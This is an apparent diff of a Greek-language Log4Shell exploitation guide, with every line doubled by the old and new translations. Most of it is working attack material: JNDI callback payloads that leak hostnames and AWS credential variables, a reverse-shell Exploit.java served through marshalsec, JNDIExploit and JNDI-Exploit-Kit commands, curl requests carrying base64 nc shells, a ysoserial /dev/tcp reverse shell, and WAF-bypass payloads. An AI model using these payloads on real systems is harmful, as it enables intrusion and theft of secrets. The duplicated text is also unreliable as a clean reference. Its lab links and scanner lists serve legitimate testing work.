* `${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}` (χρησιμοποιώντας [canarytokens.com](https://canarytokens.org/generate))
* `${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}` (χρησιμοποιώντας [interactsh](https://github.com/projectdiscovery/interactsh))
* `${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}` (χρησιμοποιώντας το Burp Suite)
* `${jndi:ldap://2j4ayo.dnslog.cn}` (χρησιμοποιώντας [dnslog](http://dnslog.cn))
* `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}` χρησιμοποιώντας (χρησιμοποιώντας [huntress](https://log4shell.huntress.com))
Σημειώστε ότι **ακόμα κι αν ληφθεί μια αίτηση DNS αυτό δεν σημαίνει ότι η εφαρμογή είναι εκτεθειμένη** (ή ακόμα και ευάλωτη), θα πρέπει να προσπαθήσετε να την εκμεταλλευτείτε.
{% hint style="info" %}
Θυμηθείτε ότι για να **εκμεταλλευτείτε την έκδοση 2.15** πρέπει να προσθέσετε την **παράκαμψη ελέγχου τοπικού υπολογιστή**: ${jndi:ldap://**127.0.0.1#**...}
{% endhint %}
#### **Τοπική Ανακάλυψη**
Αναζητήστε **τοπικές ευάθειες εκδόσεις** της βιβλιοθήκης με:
```bash ```bash
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])" find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"
``` ```
### **Επαλήθευση** ### **Επαλήθευση**
Ορισμένες από τις πλατφόρμες που αναφέρθηκαν προηγουμένως θα σας επιτρέψουν να εισαγάγετε μερικά μεταβλητά δεδομένα που θα καταγραφούν όταν ζητηθούν.\ Κάποιες από τις πλατφόρμες που αναφέρθηκαν προηγουμένως θα σας επιτρέψουν να εισάγετε μερικά μεταβλητά δεδομένα που θα καταγραφούν όταν ζητηθούν.\
Αυτό μπορεί να είναι πολύ χρήσιμο για 2 πράγματα: Αυτό μπορεί να είναι πολύ χρήσιμο για 2 πράγματα:
* Για να **επαληθεύσετε** την ευπάθεια * Για την **επαλήθευση** της ευπάθειας
* Για να **διαρρεύσετε πληροφορίες** καταχρώντας την ευπάθεια * Για την **εξαγωγή πληροφοριών** καταχρώμενοι την ευπάθεια
Για παράδειγμα, μπορείτε να ζητήσετε κάτι σαν:\ Για παράδειγμα, θα μπορούσατε να ζητήσετε κάτι σαν:\
ή σαν `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** και αν ληφθεί ένα **αίτημα DNS με την τιμή της μεταβλητής περιβάλλοντος**, τότε γνωρίζετε ότι η εφαρμογή είναι ευάλωτη. ή σαν `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** και αν ληφθεί μια **αίτηση DNS με την τιμή της μεταβλητής περιβάλλοντος**, τότε γνωρίζετε ότι η εφαρμογή είναι ευάλωτη.
Άλλες πληροφορίες που μπορείτε να προσπαθήσετε να **διαρρεύσετε**: Άλλες πληροφορίες που θα μπορούσατε να προσπαθήσετε να **διαρρεύσετε**:
``` ```
${env:AWS_ACCESS_KEY_ID} ${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE} ${env:AWS_CONFIG_FILE}
@ -124,22 +186,22 @@ Any other env variable name that could store sensitive information
### Πληροφορίες RCE ### Πληροφορίες RCE
{% hint style="info" %} {% hint style="info" %}
Οι υπολογιστές που εκτελούν τις εκδόσεις JDK πάνω από 6u141, 7u131 ή 8u121 προστατεύονται από τον διάνυσμα επίθεσης φόρτωσης LDAP. Αυτό οφείλεται στην προεπιλεγμένη απενεργοποίηση της `com.sun.jndi.ldap.object.trustURLCodebase`, η οποία εμποδίζει το JNDI να φορτώσει έναν απομακρυσμένο κωδικοπολυμένο χώρο μέσω LDAP. Ωστόσο, είναι σημαντικό να σημειωθεί ότι αυτές οι εκδόσεις **δεν προστατεύονται από το διάνυσμα επίθεσης αποσυσκευοποίησης**. Οι υπολογιστές που εκτελούνται σε εκδόσεις JDK πάνω από 6u141, 7u131 ή 8u121 προστατεύονται από το διάνυσμα επίθεσης φόρτωσης κλάσης LDAP. Αυτό οφείλεται στην προεπιλεγμένη απενεργοποίηση του `com.sun.jndi.ldap.object.trustURLCodebase`, το οποίο εμποδίζει το JNDI από το να φορτώσει ένα απομακρυσμένο codebase μέσω LDAP. Ωστόσο, είναι σημαντικό να σημειωθεί ότι αυτές οι εκδόσεις **δεν προστατεύονται ενάντια στο διάνυσμα επίθεσης αποσειριοποίησης**.
Για τους επιτιθέμενους που στοχεύουν να εκμεταλλευτούν αυτές τις υψηλότερες εκδόσεις JDK, είναι απαραίτητο να χρησιμοποιήσουν ένα **αξιόπιστο gadget** μέσα στην εφαρμογή Java. Εργαλεία όπως το ysoserial ή το JNDIExploit χρησιμοποιούνται συχνά για αυτόν τον σκοπό. Αντίθετα, η εκμετάλλευση των χαμηλότερων εκδόσεων JDK είναι σχετικά πιο εύκολη, καθώς αυτές οι εκδόσεις μπορούν να παραπλανηθούν για να φορτώσουν και να εκτελέσουν αυθαίρετες κλάσεις. Για τους επιτιθέμενους που στοχεύουν να εκμεταλλευτούν αυτές τις υψηλότερες εκδόσεις JDK, είναι απαραίτητο να χρησιμοποιήσουν ένα **αξιόπιστο gadget** μέσα στην εφαρμογή Java. Εργαλεία όπως το ysoserial ή το JNDIExploit χρησιμοποιούνται συχνά για αυτόν τον σκοπό. Αντίθετα, η εκμετάλλευση χαμηλότερων εκδόσεων JDK είναι σχετικά πιο εύκολη καθώς αυτές οι εκδόσεις μπορούν να ρυθμιστούν για να φορτώσουν και να εκτελέσουν αυθαίρετες κλάσεις.
Για **περισσότερες πληροφορίες** (_όπως περιορισμοί στα διανύσματα RMI και CORBA_) **ελέγξτε την προηγούμενη ενότητα αναφοράς JNDI Naming** ή [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/) Για **περισσότερες πληροφορίες** (_όπως περιορισμοί στα διανύσματα RMI και CORBA_) **ελέγξτε την προηγούμενη ενότητα αναφοράς ονομασίας JNDI** ή [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
{% endhint %} {% endhint %}
### RCE - Marshalsec με προσαρμοσμένο φορτίο ### RCE - Marshalsec με προσαρμοσμένο φορτίο
Μπορείτε να δοκιμάσετε αυτό στο **THM box:** [**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar) Μπορείτε να δοκιμάσετε αυτό στο **κουτί THM:** [**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar)
Χρησιμοποιήστε το εργαλείο [**marshalsec**](https://github.com/mbechler/marshalsec) (διαθέσιμη η έκδοση jar [**εδώ**](https://github.com/RandomRobbieBF/marshalsec-jar)). Αυτή η προσέγγιση δημιουργεί έναν διακομιστή αναφοράς LDAP για να ανακατευθύνει τις συνδέσεις σε έναν δευτερεύοντα διακομιστή HTTP όπου θα φιλοξενηθεί η εκμετάλλευση: Χρησιμοποιήστε το εργαλείο [**marshalsec**](https://github.com/mbechler/marshalsec) (διαθέσιμη η έκδοση jar [**εδώ**](https://github.com/RandomRobbieBF/marshalsec-jar)). Αυτή η προσέγγιση δημιουργεί έναν διακλάδωση LDAP για να ανακατευθύνει τις συνδέσεις σε ένα δευτερεύον HTTP server όπου θα φιλοξενείται η εκμετάλλευση:
```bash ```bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit" java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
``` ```
Για να προτρέψετε τον στόχο να φορτώσει έναν αντίστροφο κώδικα κέλυφους, δημιουργήστε ένα αρχείο Java με το όνομα `Exploit.java` και το παρακάτω περιεχόμενο: Για να προτρέψετε τον στόχο να φορτώσει κώδικα αντιστρεπτικού κελύφους, δημιουργήστε ένα αρχείο Java με το όνομα `Exploit.java` με το παρακάτω περιεχόμενο:
```java ```java
public class Exploit { public class Exploit {
static { static {
@ -151,23 +213,23 @@ e.printStackTrace();
} }
} }
``` ```
Μεταγλωττίστε το αρχείο Java σε αρχείο κλάσης χρησιμοποιώντας: `javac Exploit.java -source 8 -target 8`. Στη συνέχεια, ξεκινήστε έναν **HTTP server** στον κατάλογο που περιέχει το αρχείο κλάσης με την εντολή: `python3 -m http.server`. Βεβαιωθείτε ότι ο **marshalsec LDAP server** αναφέρεται σε αυτόν τον HTTP server. Μεταγλωττίστε το αρχείο Java σε ένα αρχείο κλάσης χρησιμοποιώντας: `javac Exploit.java -source 8 -target 8`. Στη συνέχεια, εκκινήστε ένα **HTTP server** στον κατάλογο που περιέχει το αρχείο κλάσης με: `python3 -m http.server`. Βεβαιωθείτε ότι ο **marshalsec LDAP server** αναφέρεται σε αυτόν τον HTTP server.
Εκτελέστε την κλάση εκμετάλλευσης στο ευάλωτο web server εκπέμποντας ένα payload που μοιάζει με: Ενεργοποιήστε την εκτέλεση της κλάσης εκμετάλλευσης στο ευάλωτο web server αποστέλλοντας ένα φορτίο που μοιάζει με:
```bash ```bash
${jndi:ldap://<LDAP_IP>:1389/Exploit} ${jndi:ldap://<LDAP_IP>:1389/Exploit}
``` ```
**Σημείωση:** Αυτή η εκμετάλλευση βασίζεται στη δυνατότητα της διαμόρφωσης της Java να επιτρέπει την απομακρυσμένη φόρτωση του κώδικα μέσω του LDAP. Εάν αυτό δεν επιτρέπεται, εξετάστε τον εκμεταλλευόμενο καταξιωμένο τύπο για αυθαίρετη εκτέλεση κώδικα. **Σημείωση:** Αυτή η εκμετάλλευση βασίζεται στη διαμόρφωση της Java που επιτρέπει τη μακρινή φόρτωση κώδικα μέσω του LDAP. Εάν αυτό δεν επιτρέπεται, σκεφτείτε την εκμετάλλευση ενός αξιόπιστου τάξης για την εκτέλεση αυθαίρετου κώδικα.
### RCE - **JNDIExploit** ### RCE - **JNDIExploit**
{% hint style="info" %} {% hint style="info" %}
Σημειώστε ότι για κάποιο λόγο ο συγγραφέας αφαίρεσε αυτό το έργο από το github μετά την ανακάλυψη του log4shell. Μπορείτε να βρείτε μια αποθηκευμένη έκδοση στο [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2), αλλά εάν θέλετε να σεβαστείτε την απόφαση του συγγραφέα, χρησιμοποιήστε μια διαφορετική μέθοδο για την εκμετάλλευση αυτής της ευπάθειας. Σημειώστε ότι για κάποιο λόγο ο συγγραφέας αφαίρεσε αυτό το έργο από το github μετά την ανακάλυψη του log4shell. Μπορείτε να βρείτε μια αποθηκευμένη έκδοση στο [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) αλλά αν θέλετε να σεβαστείτε την απόφαση του συγγραφέα, χρησιμοποιήστε ένα διαφορετικό τρόπο για την εκμετάλλευση αυτού του ευπαθούς σημείου.
Επιπλέον, δεν μπορείτε να βρείτε τον πηγαίο κώδικα στο wayback machine, οπότε είτε αναλύστε τον πηγαίο κώδικα, είτε εκτελέστε το jar γνωρίζοντας ότι δεν ξέρετε τι εκτελείτε. Επιπλέον, δεν μπορείτε να βρείτε τον πηγαίο κώδικα στο wayback machine, οπότε είτε αναλύστε τον πηγαίο κώδικα, είτε εκτελέστε το jar γνωρίζοντας ότι δεν ξέρετε τι εκτελείτε.
{% endhint %} {% endhint %}
Για αυτό το παράδειγμα, μπορείτε απλά να εκτελέσετε αυτόν τον **ευπάθεια web server για το log4shell** στη θύρα 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_στο README θα βρείτε πώς να το εκτελέσετε_). Αυτή η ευπάθεια εφαρμογή καταγράφει με μια ευπάθεια έκδοση του log4shell το περιεχόμενο της κεφαλίδας αιτήματος HTTP _X-Api-Version_. Για αυτό το παράδειγμα μπορείτε απλά να εκτελέσετε αυτόν τον **ευπαθή διακομιστή web για το log4shell** στη θύρα 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_στο README θα βρείτε πώς να τον εκτελέσετε_). Αυτή η ευπαθής εφαρμογή καταγράφει με μια ευπαθή έκδοση του log4shell το περιεχόμενο της κεφαλίδας αιτήματος HTTP _X-Api-Version_.
Στη συνέχεια, μπορείτε να κατεβάσετε το αρχείο **JNDIExploit** jar και να το εκτελέσετε με: Στη συνέχεια, μπορείτε να κατεβάσετε το αρχείο **JNDIExploit** jar και να το εκτελέσετε με:
```bash ```bash
@ -175,17 +237,17 @@ wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JN
unzip JNDIExploit.v1.2.zip unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
``` ```
Αφού διαβάσετε τον κώδικα μόλις λίγα λεπτά, στα _com.feihong.ldap.LdapServer_ και _com.feihong.ldap.HTTPServer_ μπορείτε να δείτε πώς δημιουργούνται οι **διακομιστές LDAP και HTTP**. Ο διακομιστής LDAP θα καταλάβει ποιο φορτίο χρειάζεται να εξυπηρετηθεί και θα ανακατευθύνει το θύμα στον διακομιστή HTTP, ο οποίος θα εξυπηρετήσει την εκμετάλλευση.\ Μετά την ανάγνωση του κώδικα μόλις λίγα λεπτά, στο _com.feihong.ldap.LdapServer_ και _com.feihong.ldap.HTTPServer_ μπορείτε να δείτε πώς δημιουργούνται **οι διακομιστές LDAP και HTTP**. Ο διακομιστής LDAP θα καταλάβει ποιο φορτίο χρειάζεται να εξυπηρετηθεί και θα ανακατευθύνει το θύμα στον διακομιστή HTTP, ο οποίος θα εξυπηρετήσει την εκμετάλλευση.\
Στο _com.feihong.ldap.gadgets_ μπορείτε να βρείτε **ορισμένα συγκεκριμένα εργαλεία** που μπορούν να χρησιμοποιηθούν για να εκτελεστεί η επιθυμητή ενέργεια (ενδεχομένως να εκτελεστεί αυθαίρετος κώδικας). Και στο _com.feihong.ldap.template_ μπορείτε να δείτε τις διάφορες κλάσεις προτύπου που θα **δημιουργήσουν τις εκμεταλλεύσεις**. Στο _com.feihong.ldap.gadgets_ μπορείτε να βρείτε **κάποιες συγκεκριμένες συσκευές** που μπορούν να χρησιμοποιηθούν για να εκτελεστεί η επιθυμητή ενέργεια (ενδεχομένως να εκτελεστεί αυθαίρετος κώδικας). Και στο _com.feihong.ldap.template_ μπορείτε να δείτε τις διαφορετικές κλάσεις προτύπων που θα **δημιουργήσουν τις εκμεταλλεύσεις**.
Μπορείτε να δείτε όλες τις διαθέσιμες εκμεταλλεύσεις με την εντολή **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**. Ορισμένες χρήσιμες είναι: Μπορείτε να δείτε όλες τις διαθέσιμες εκμεταλλεύσεις με **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**. Κάποιες χρήσιμες είναι:
```bash ```bash
ldap://null:1389/Basic/Dnslog/[domain] ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd] ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port] ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more # But there are a lot more
``` ```
Έτσι, στο παράδειγμά μας, έχουμε ήδη εκτελούμενη την ευάλωτη εφαρμογή docker. Για να την επιτεθούμε: Έτσι, στο παράδειγμά μας, έχουμε ήδη την ευάλωτη εφαρμογή docker που τρέχει. Για να την επιτεθούμε:
```bash ```bash
# Create a file inside of th vulnerable host: # Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}' curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
@ -194,14 +256,14 @@ curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Comma
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}' curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}' curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'
``` ```
Όταν στέλνετε τις επιθέσεις, θα δείτε ορισμένα αποτελέσματα στο τερματικό όπου εκτελέσατε το **JNDIExploit-1.2-SNAPSHOT.jar**. Κατά την αποστολή των επιθέσεων θα δείτε κάποια αποτελέσματα στο τερματικό όπου εκτελέστηκε το **JNDIExploit-1.2-SNAPSHOT.jar**.
**Θυμηθείτε να ελέγξετε `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` για άλλες επιλογές εκμετάλλευσης. Επιπλέον, αν χρειαστεί, μπορείτε να αλλάξετε τη θύρα των διακομιστών LDAP και HTTP.** **Θυμηθείτε να ελέγξετε `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` για άλλες επιλογές εκμετάλλευσης. Επιπλέον, σε περίπτωση που το χρειάζεστε, μπορείτε να αλλάξετε τη θύρα των διακομιστών LDAP και HTTP.**
### RCE - JNDI-Exploit-Kit <a href="#rce__jndiexploitkit_33" id="rce__jndiexploitkit_33"></a> ### RCE - JNDI-Exploit-Kit <a href="#rce__jndiexploitkit_33" id="rce__jndiexploitkit_33"></a>
Με τον ίδιο τρόπο με την προηγούμενη εκμετάλλευση, μπορείτε να δοκιμάσετε να χρησιμοποιήσετε το [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) για να εκμεταλλευτείτε αυτήν την ευπάθεια.\ Με παρόμοιο τρόπο με την προηγούμενη εκμετάλλευση, μπορείτε να δοκιμάσετε να χρησιμοποιήσετε το [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) για να εκμεταλλευτείτε αυτήν την ευπάθεια.\
Μπορείτε να δημιουργήσετε τις διευθύνσεις URL που θα στείλετε στο θύμα εκτελώντας: Μπορείτε να δημιουργήσετε τα URLs προς αποστολή στο θύμα εκτελώντας:
```bash ```bash
# Get reverse shell in port 4444 (only unix) # Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444
@ -209,24 +271,24 @@ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.
# Execute command # Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell" java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
``` ```
_Αυτή η επίθεση χρησιμοποιώντας ένα προσαρμοσμένο δημιουργημένο αντικείμενο Java θα λειτουργήσει σε εργαστήρια όπως η **THM solar room**. Ωστόσο, αυτό δεν θα λειτουργήσει γενικά (καθώς από προεπιλογή το Java δεν είναι ρυθμισμένο να φορτώνει απομακρυσμένο codebase χρησιμοποιώντας LDAP) νομίζω επειδή δεν καταχράται ένα αξιόπιστη κλάση για να εκτελέσει αυθαίρετο κώδικα._ _Αυτή η επίθεση χρησιμοποιώντας ένα προσαρμοσμένο δημιουργημένο αντικείμενο Java θα λειτουργήσει σε εργαστήρια όπως το **THM solar room**. Ωστόσο, αυτό συνήθως δεν λειτουργεί (καθώς από προεπιλογή το Java δεν είναι ρυθμισμένο να φορτώνει απομακρυσμένη βάση κώδικα χρησιμοποιώντας LDAP) πιστεύω επειδή δεν εκμεταλλεύεται ένα αξιόπιστη κλάση για να εκτελέσει αυθαίρετο κώδικα._
### RCE - ysoserial & JNDI-Exploit-Kit ### RCE - ysoserial & JNDI-Exploit-Kit
Αυτή η επιλογή είναι πραγματικά χρήσιμη για να επιτεθείτε σε **εκδόσεις της Java που είναι ρυθμισμένες να εμπιστεύονται μόνο συγκεκριμένες κλάσεις και όχι όλους**. Επομένως, θα χρησιμοποιηθεί το **ysoserial** για να δημιουργήσει **σειριοποιήσεις αξιόπιστων κλάσεων** που μπορούν να χρησιμοποιηθούν ως εργαλεία για να **εκτελέσουν αυθαίρετο κώδικα** (_η αξιόπιστη κλάση που καταχράται το ysoserial πρέπει να χρησιμοποιηθεί από το πρόγραμμα Java του θύματος για να λειτουργήσει η εκμετάλλευση_). Αυτή η επιλογή είναι πραγματικά χρήσιμη για επιθέσεις σε **εκδόσεις Java που είναι ρυθμισμένες να εμπιστεύονται μόνο συγκεκριμένες κλάσεις και όχι όλους**. Επομένως, το **ysoserial** θα χρησιμοποιηθεί για τη δημιουργία **σειριοποιήσεων αξιόπιστων κλάσεων** που μπορούν να χρησιμοποιηθούν ως gadgets για **εκτέλεση αυθαίρετου κώδικα** (_η αξιόπιστη κλάση που καταχράται το ysoserial πρέπει να χρησιμοποιηθεί από το πρόγραμμα Java θύματος για να λειτουργήσει η εκμετάλλευση_).
Χρησιμοποιώντας το **ysoserial** ή το [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) μπορείτε να δημιουργήσετε την εκμετάλλευση αποσειριοποίησης που θα ληφθεί με το JNDI: Χρησιμοποιώντας το **ysoserial** ή [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) μπορείτε να δημιουργήσετε την εκμετάλλευση αποσειριοποίησης που θα ληφθεί με το JNDI:
```bash ```bash
# Rev shell via CommonsCollections5 # Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
``` ```
Χρησιμοποιήστε το [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) για να δημιουργήσετε **JNDI συνδέσμους** όπου η εκμετάλλευση θα περιμένει συνδέσεις από ευάλωτες μηχανές. Μπορείτε να εξυπηρετήσετε **διάφορες εκμεταλλεύσεις που μπορούν να δημιουργηθούν αυτόματα** από το JNDI-Exploit-Kit ή ακόμα και τα **δικά σας φορτία αποσυνεσείρωσης** (που δημιουργήθηκαν από εσάς ή το ysoserial). Χρησιμοποιήστε το [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) για να δημιουργήσετε **JNDI συνδέσμους** όπου το exploit θα περιμένει συνδέσεις από τις ευάλωτες μηχανές. Μπορείτε να εξυπηρετήσετε **διαφορετικά exploits που μπορούν να δημιουργηθούν αυτόματα** από το JNDI-Exploit-Kit ή ακόμα και τα **δικά σας φορτία αποσυσκευοποίησης** (που δημιουργήθηκαν από εσάς ή το ysoserial).
```bash ```bash
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
``` ```
![](<../../.gitbook/assets/image (642) (1) (1).png>) ![](<../../.gitbook/assets/image (642) (1) (1).png>)
Τώρα μπορείτε εύκολα να χρησιμοποιήσετε έναν δημιουργημένο σύνδεσμο JNDI για να εκμεταλλευτείτε την ευπάθεια και να αποκτήσετε έναν **αντίστροφο κέλυφος** απλά στέλνοντας σε μια ευπάθη έκδοση του log4j: **`${ldap://10.10.14.10:1389/generated}`** Τώρα μπορείτε εύκολα να χρησιμοποιήσετε ένα δημιουργημένο JNDI σύνδεσμο για να εκμεταλλευτείτε την ευπάθεια και να λάβετε ένα **αντίστροφο κέλυφος** απλά στέλνοντας σε μια ευάθροιστη έκδοση του log4j: **`${ldap://10.10.14.10:1389/generated}`**
### Παρακάμψεις ### Παρακάμψεις
```java ```java
@ -240,7 +302,7 @@ ${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns ${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i" ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
``` ```
### Αυτόματοι σαρωτές ### Αυτόματοι Σαρωτές
* [https://github.com/fullhunt/log4j-scan](https://github.com/fullhunt/log4j-scan) * [https://github.com/fullhunt/log4j-scan](https://github.com/fullhunt/log4j-scan)
* [https://github.com/adilsoybali/Log4j-RCE-Scanner](https://github.com/adilsoybali/Log4j-RCE-Scanner) * [https://github.com/adilsoybali/Log4j-RCE-Scanner](https://github.com/adilsoybali/Log4j-RCE-Scanner)
@ -249,28 +311,28 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
* [https://github.com/Qualys/log4jscanwin](https://github.com/Qualys/log4jscanwin) * [https://github.com/Qualys/log4jscanwin](https://github.com/Qualys/log4jscanwin)
* [https://github.com/hillu/local-log4j-vuln-scanner](https://github.com/hillu/local-log4j-vuln-scanner) * [https://github.com/hillu/local-log4j-vuln-scanner](https://github.com/hillu/local-log4j-vuln-scanner)
* [https://github.com/logpresso/CVE-2021-44228-Scanner](https://github.com/logpresso/CVE-2021-44228-Scanner) * [https://github.com/logpresso/CVE-2021-44228-Scanner](https://github.com/logpresso/CVE-2021-44228-Scanner)
* [https://github.com/palantir/log4j-sniffer](https://github.com/palantir/log4j-sniffer) - Εύρεση ευάλωτων τοπικών βιβλιοθηκών * [https://github.com/palantir/log4j-sniffer](https://github.com/palantir/log4j-sniffer) - Βρείτε τοπικές ευάλωτες βιβλιοθήκες
### Εργαστήρια για δοκιμή ### Εργαστήρια για Δοκιμή
* [**Μηχάνημα LogForge HTB**](https://app.hackthebox.com/tracks/UHC-track) * [**Μηχάνημα LogForge HTB**](https://app.hackthebox.com/tracks/UHC-track)
* [**Δωμάτιο Solar Try Hack Me**](https://tryhackme.com/room/solar) * [**Δωμάτιο Solar Try Hack Me**](https://tryhackme.com/room/solar)
* [**https://github.com/leonjza/log4jpwn**](https://github.com/leonjza/log4jpwn) * [**https://github.com/leonjza/log4jpwn**](https://github.com/leonjza/log4jpwn)
* [**https://github.com/christophetd/log4shell-vulnerable-app**](https://github.com/christophetd/log4shell-vulnerable-app) * [**https://github.com/christophetd/log4shell-vulnerable-app**](https://github.com/christophetd/log4shell-vulnerable-app)
## Εκμετάλλευση μετά το Log4Shell ## Μετά την Εκμετάλλευση του Log4Shell
Σε αυτό το [**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) εξηγείται καλά πώς είναι πιθανό να καταχραστεί κάποια χαρακτηριστικά του **Log4J**. Σε αυτό το [**CTF writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) εξηγείται καλά πώς είναι πιθανό **να καταχραστείτε** κάποιες λειτουργίες του **Log4J**.
Η [**σελίδα ασφαλείας**](https://logging.apache.org/log4j/2.x/security.html) του Log4j έχει μερικές ενδιαφέρουσες προτάσεις: Η [**σελίδα ασφαλείας**](https://logging.apache.org/log4j/2.x/security.html) του Log4j περιέχει μερικές ενδιαφέρουσες προτάσεις:
> Από την έκδοση 2.16.0 (για Java 8), η δυνατότητα αναζήτησης μηνυμάτων έχει αφαιρεθεί πλήρως. Οι αναζητήσεις στη διαμόρφωση εξακολουθούν να λειτουργούν. Επιπλέον, το Log4j απενεργοποιεί προεπιλεγμένα την πρόσβαση στο JNDI. Οι αναζητήσεις JNDI στη διαμόρφωση πρέπει πλέον να ενεργοποιούνται ρητά. > Από την έκδοση 2.16.0 (για Java 8), η λειτουργία **αναζήτησης μηνυμάτων έχει αφαιρεθεί πλήρως**. **Οι αναζητήσεις στη διαμόρφωση εξακολουθούν να λειτουργούν**. Επιπλέον, το Log4j τώρα απενεργοποιεί την πρόσβαση στο JNDI από προεπιλογή. Οι αναζητήσεις JNDI στη διαμόρφωση πρέπει πλέον να ενεργοποιούνται ρητά.
